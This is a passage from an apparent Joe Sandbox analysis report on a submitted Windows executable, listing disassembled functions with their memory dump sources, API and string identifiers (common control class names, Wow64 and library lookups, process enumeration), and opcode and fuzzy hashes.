                                                            • Instruction ID: 459713404bd888e9408586fab7343b45b6103164a017567feb50d974b0c558c3
                                                            • Opcode Fuzzy Hash: 8590b3572ee50005f206f958431262ef9082a01c97b701578a5c0a82d3af5d25
                                                            • Instruction Fuzzy Hash: 5251E1B361868192DB20DF52E484AAEB7A0F7D9B98F444075EF8D93B49EE7CD505CB00
                                                            Function 00007FF69DBAA6BC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 101windowCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Menu$Delete$InfoItem
                                                            • String ID: P
                                                            • API String ID: 135850232-3110715001
                                                            • Opcode ID: 7a885196f2dcceb0a8221e88f5e4acf8149e86b4233e81131ef081c483961346
                                                            • Instruction ID: 2ccdd3b78bb8137a7c57ab9c6ec1e90eb42b33226b9fab92970f4dab0bcd8147
                                                            • Opcode Fuzzy Hash: 7a885196f2dcceb0a8221e88f5e4acf8149e86b4233e81131ef081c483961346
                                                            • Instruction Fuzzy Hash: 4741E472A04A8181EB70DF25C4443AD67E0EB86BB0F168271DAAD977D9EF3CD442C720
                                                            Function 00007FF69DB6EAA8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100fileCOMMONLIBRARYCODE
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: ByteCharErrorFileLastMultiWideWrite
                                                            • String ID: U
                                                            • API String ID: 2456169464-4171548499
                                                            • Opcode ID: 94b35a9ebb8fe33294e0bdd0e775bf8e0988a6ef2a86fc1225fbcd9ba36526fe
                                                            • Instruction ID: c0159126dd28727eace7cd6e7ea27070230286cdfd447e7322a6eaa480743f5d
                                                            • Opcode Fuzzy Hash: 94b35a9ebb8fe33294e0bdd0e775bf8e0988a6ef2a86fc1225fbcd9ba36526fe
                                                            • Instruction Fuzzy Hash: 5441A362B1964186EB308F15E4443BA77A1FB897A4F848031EE8EC7798EF7CD441C740
                                                            Function 00007FF69DBDB454 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 96COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Window$Long
                                                            • String ID: SysTreeView32
                                                            • API String ID: 847901565-1698111956
                                                            • Opcode ID: efcadc7bc094786019cbc8bf8bf3fbcf06e95b4321d3c984f5b6707381f7f713
                                                            • Instruction ID: 955225f21e1e4897950456bdf9ed915e8c343b235aac75c21f1ae67df8a356a8
                                                            • Opcode Fuzzy Hash: efcadc7bc094786019cbc8bf8bf3fbcf06e95b4321d3c984f5b6707381f7f713
                                                            • Instruction Fuzzy Hash: C7414B72A097828BE7708F28E444B9A77A1F785764F144375DAA847A98DF3CD845CB40
                                                            Function 00007FF69DBDAB9C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 83windowCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: MessageSend$Window$CreateObjectStock
                                                            • String ID: SysMonthCal32
                                                            • API String ID: 2671490118-1439706946
                                                            • Opcode ID: fd789cdfff50be9b4411109bcad662b9f9b7c83045e67513290be4d4cd92b5f4
                                                            • Instruction ID: b0fe55c79e5fc85f18ffec6d138207d808040ab1089f2ad959a2a9fb9e8db324
                                                            • Opcode Fuzzy Hash: fd789cdfff50be9b4411109bcad662b9f9b7c83045e67513290be4d4cd92b5f4
                                                            • Instruction Fuzzy Hash: 5E415E726086C287E770CF15E444B5AB7A0F788790F504235EAD953A98EF3DD4858F40
                                                            Function 00007FF69DBDB798 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80windowCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: MessageSend$Window$CreateDestroyObjectStock
                                                            • String ID: msctls_updown32
                                                            • API String ID: 1752125012-2298589950
                                                            • Opcode ID: 74e3ad92c2baccfb6081841c4f4ce29bd6f6c1edab28d3e774f2eecd82cc7261
                                                            • Instruction ID: 49866ded5d068c3dca97e2aa70b62ebbb8c261e59414fec0a54e8b3b55c41770
                                                            • Opcode Fuzzy Hash: 74e3ad92c2baccfb6081841c4f4ce29bd6f6c1edab28d3e774f2eecd82cc7261
                                                            • Instruction Fuzzy Hash: 3031ACB2A18B8586EB20CF15E4507AA73A1FBC6B95F508176DACD87B98DF3CD445CB00
                                                            Function 00007FF69DBB4DF8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 75COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: ErrorMode$InformationVolume
                                                            • String ID: %lu
                                                            • API String ID: 2507767853-685833217
                                                            • Opcode ID: 672d97fc72a5ca8b35a6a563d603e89b9dfb37273f5f93e5ec3f9e9d545e6ea4
                                                            • Instruction ID: 0c82ebb55d53f28b198a36ac19e3ebb484913bc3e22d2ef1a6e70ec45c2199c7
                                                            • Opcode Fuzzy Hash: 672d97fc72a5ca8b35a6a563d603e89b9dfb37273f5f93e5ec3f9e9d545e6ea4
                                                            • Instruction Fuzzy Hash: B33192B2608B8686DB20DF16E48016DB7B1FB8ABC0F404075EA8D83B69EF7CD555C700
                                                            Function 00007FF69DBDB104 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66windowCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: MessageSend$CreateObjectStockWindow
                                                            • String ID: msctls_trackbar32
                                                            • API String ID: 1025951953-1010561917
                                                            • Opcode ID: d23565779f05c86e88825c5223c790f228a79c76439431c452903b53a7f93148
                                                            • Instruction ID: 728b29611d9a1b94ff0b2eb2334871feb48ae7fe6aa400b7e87f67551e1c5ad4
                                                            • Opcode Fuzzy Hash: d23565779f05c86e88825c5223c790f228a79c76439431c452903b53a7f93148
                                                            • Instruction Fuzzy Hash: B53118B2A18681C7E7708F15E454B6AB7A1FB89790F104276EB9843B58DF3CD845CB04
                                                            Function 00007FF69DB9F5CC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64windowCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Thread$CurrentProcessWindow$AttachChildClassEnumFocusInputMessageNameParentSendTimeoutWindows
                                                            • String ID: %s%d
                                                            • API String ID: 2330185562-1110647743
                                                            • Opcode ID: 4f7089e3504d96f16b1fb726daf46c0f00a77062a3aa85cf481a60796f0195a0
                                                            • Instruction ID: 7a81876447cb93e307e5e9c2e461f047ff73e528a9d1a331af72f8da0cc79986
                                                            • Opcode Fuzzy Hash: 4f7089e3504d96f16b1fb726daf46c0f00a77062a3aa85cf481a60796f0195a0
                                                            • Instruction Fuzzy Hash: 61218FB5A08B8292EA34DB12E4406FE6361EB5ABD4F5441B1DFDD83769EE2CE105C340
                                                            Function 00007FF69DBAC110 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58fileCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: CloseControlCreateDeviceFileHandle
                                                            • String ID: 0
                                                            • API String ID: 33631002-4108050209
                                                            • Opcode ID: 122fac756a3aebd614dbe24bd4d9d3fcd08661cb9d9b68eb4b308195107418d6
                                                            • Instruction ID: 50efbac5c83b1b058de1dbe29c1eac94f26ad6b0b643fc59155d6894b9ae1ac1
                                                            • Opcode Fuzzy Hash: 122fac756a3aebd614dbe24bd4d9d3fcd08661cb9d9b68eb4b308195107418d6
                                                            • Instruction Fuzzy Hash: 85219176618B80C6D3308F21E48469A77B4F3857A4F14427AEB9D43B98DF3CCA59CB40
                                                            Function 00007FF69DBCAF20 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 21libraryloaderCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00007FF69DB92DD1), ref: 00007FF69DBCAF37
                                                            • GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00007FF69DB92DD1), ref: 00007FF69DBCAF4F
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: AddressLibraryLoadProc
                                                            • String ID: GetSystemWow64DirectoryW$kernel32.dll
                                                            • API String ID: 2574300362-1816364905
                                                            • Opcode ID: b553b98cf413c0522d0a8d0790f0dad2998fa959ac13788e6be9999dd8a5b612
                                                            • Instruction ID: 49bf0fd5563055bd5ee7b5915e715f8b269759cbfd7d1e85a4b0b358767e1ab7
                                                            • Opcode Fuzzy Hash: b553b98cf413c0522d0a8d0790f0dad2998fa959ac13788e6be9999dd8a5b612
                                                            • Instruction Fuzzy Hash: 41F01CA1A05B0581EF288B64E44437423F4FB19B49F8408B5C99D82368FF7CD558C350
                                                            Function 00007FF69DB36D64 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20libraryloaderCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: AddressLibraryLoadProc
                                                            • String ID: Wow64DisableWow64FsRedirection$kernel32.dll
                                                            • API String ID: 2574300362-3689287502
                                                            • Opcode ID: 0d692eaeaee984e821757872aa743bf672a5f4ffbc2c7638c6bb6d49df66a179
                                                            • Instruction ID: 892e6a8fa804ee262ac2c6afc3d177be7c178adf65ae51394245e915213c55dd
                                                            • Opcode Fuzzy Hash: 0d692eaeaee984e821757872aa743bf672a5f4ffbc2c7638c6bb6d49df66a179
                                                            • Instruction Fuzzy Hash: C2E012A5906F0682EF298F51E41437423E4FB19B88F4408B5C99D86358FF7CE595C390
                                                            Function 00007FF69DBD10C8 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20libraryloaderCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: AddressLibraryLoadProc
                                                            • String ID: RegDeleteKeyExW$advapi32.dll
                                                            • API String ID: 2574300362-4033151799
                                                            • Opcode ID: 88aa4d55391e805054e25835240c34e867389002f23d272af78df165a122bac4
                                                            • Instruction ID: ef18b9b2d875207813afdf7e1b0b675275d3b66aeab5579afe9667533e91a303
                                                            • Opcode Fuzzy Hash: 88aa4d55391e805054e25835240c34e867389002f23d272af78df165a122bac4
                                                            • Instruction Fuzzy Hash: 2CE0EDE5A05B06C1EF288B50E41537823E8EB19B95F4408B5C99D86358FF7CD595C340
                                                            Function 00007FF69DB36D1C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20libraryloaderCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: AddressLibraryLoadProc
                                                            • String ID: Wow64RevertWow64FsRedirection$kernel32.dll
                                                            • API String ID: 2574300362-1355242751
                                                            • Opcode ID: f93d3ff0ce366ab95d7e6c8a1355595afc9dd02f208f5495b2fec8b10b31cda7
                                                            • Instruction ID: ffc79c8dc83b94e006129195f004bce515edf0687f179bd358fdd8c8a81624d9
                                                            • Opcode Fuzzy Hash: f93d3ff0ce366ab95d7e6c8a1355595afc9dd02f208f5495b2fec8b10b31cda7
                                                            • Instruction Fuzzy Hash: 7AE012A5906B0682EF298B51E4143B423E4FB19B88F4408B4CA9D8636CFF7CD595C350
                                                            Function 00007FF69DBA32F4 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19libraryloaderCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: AddressLibraryLoadProc
                                                            • String ID: GetNativeSystemInfo$kernel32.dll
                                                            • API String ID: 2574300362-192647395
                                                            • Opcode ID: 9c402017b67deeecdf71e3c2df55c45970ec8440a50b34eba4d95c6c8b29e614
                                                            • Instruction ID: 392e39d08177fcd54f90eab9283a74a6910de3b1d6f441492bbd96730d8115d4
                                                            • Opcode Fuzzy Hash: 9c402017b67deeecdf71e3c2df55c45970ec8440a50b34eba4d95c6c8b29e614
                                                            • Instruction Fuzzy Hash: E3E012A5909B0681EF259B94E45477423E0FB29B58F8408B5C9AD86368FFBCD594C350
                                                            Function 00007FF69DB9B7E4 Relevance: 6.3, APIs: 4, Instructions: 299COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 1cc42966959b643a311328828219b797476ac122a15b5d67e7ee0a83cfbaecc2
                                                            • Instruction ID: 65d627931cc83b4772dcee05d1e6510a80779166a58ae28bab4b27941eba975b
                                                            • Opcode Fuzzy Hash: 1cc42966959b643a311328828219b797476ac122a15b5d67e7ee0a83cfbaecc2
                                                            • Instruction Fuzzy Hash: 98D1FBB6B04B9586EB248F26C4A02AD37B0FB59F88B114476DF8D87B58DF39D844C354
                                                            Function 00007FF69DBC79D8 Relevance: 6.3, APIs: 4, Instructions: 282COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: ClearVariant
                                                            • String ID:
                                                            • API String ID: 1473721057-0
                                                            • Opcode ID: f7e9a6a1c2f8c019007800361108cca29dc074ba0bb03e63b32f82c3ddf48b44
                                                            • Instruction ID: 4229799f17409c937468c2c215ebb8cc8a044f8e877e90acbf76dbd413f38d24
                                                            • Opcode Fuzzy Hash: f7e9a6a1c2f8c019007800361108cca29dc074ba0bb03e63b32f82c3ddf48b44
                                                            • Instruction Fuzzy Hash: 9ED17EB6B05B419AEB20DFA5D4901EC33B1FB55788B4040B6DE8D97B69EF38E515C380
                                                            Function 00007FF69DBCEB34 Relevance: 6.2, APIs: 4, Instructions: 156processCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Process32$CloseCompareCreateFirstHandleNextSnapshotStringToolhelp32
                                                            • String ID:
                                                            • API String ID: 2000298826-0
                                                            • Opcode ID: 5b1cc7803f552fdfb6a5c1b64286c224a353268d24a72ba4bd1cd77bb81f450c
                                                            • Instruction ID: eb4dd39fce7790fe2109e1ba36b1bbad4fcf40bc6c628f9d7b5db2f92737c8c5
                                                            • Opcode Fuzzy Hash: 5b1cc7803f552fdfb6a5c1b64286c224a353268d24a72ba4bd1cd77bb81f450c
                                                            • Instruction Fuzzy Hash: 7B71A176A18B4186EB10DB25E4443AEB3A0FB89BC8F404175EE8D87B69EF7CD505C740
                                                            Function 00007FF69DBDD88C Relevance: 6.1, APIs: 4, Instructions: 134windowCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
